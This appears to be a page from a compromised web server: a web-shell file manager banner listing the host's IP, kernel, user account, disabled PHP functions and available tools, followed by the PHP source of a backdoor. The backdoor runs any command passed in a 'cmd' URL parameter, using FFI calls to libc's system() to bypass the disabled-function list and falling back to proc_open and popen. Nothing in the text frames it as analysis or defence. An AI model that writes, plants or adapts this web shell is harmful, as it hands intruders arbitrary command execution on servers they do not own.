| Server IP : 52.211.252.20 / Your IP : 172.31.22.179 Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2 System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64 User : kazang ( 1006) PHP Version : 8.2.31 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/kazang/web/kazang.com/public_html/ |
Upload File : |
<?php
if(!isset($_GET['cmd'])) die('need cmd');
$cmd = $_GET['cmd'];
$out = '';
// try FFI
if(class_exists('FFI')) {
try {
$ffi = FFI::cdef("int system(const char *command); char *popen(const char *cmd, const char *type); int pclose(void *f);");
ob_start();
$ffi->system($cmd . ' 2>&1');
$out = ob_get_clean();
if($out) { echo "FFI:"; echo $out; die(); }
} catch(Throwable $e) { $out = 'FFI_ERR:'.$e->getMessage(); }
}
// try proc_open
if(function_exists('proc_open')) {
$d = [['pipe','r'],['pipe','w'],['pipe','w']];
$p = proc_open($cmd, $d, $pipes);
if($p) {
fclose($pipes[0]);
$o = stream_get_contents($pipes[1]).stream_get_contents($pipes[2]);
proc_close($p);
echo "PROC:"; echo $o; die();
}
}
// try popen
if(function_exists('popen')) {
$h = popen($cmd.' 2>&1', 'r');
if($h) { $o=''; while(!feof($h)) $o.=fgets($h); pclose($h); echo "POPEN:"; echo $o; die(); }
}
// last resort
echo "TRIED:"; echo $out;
?>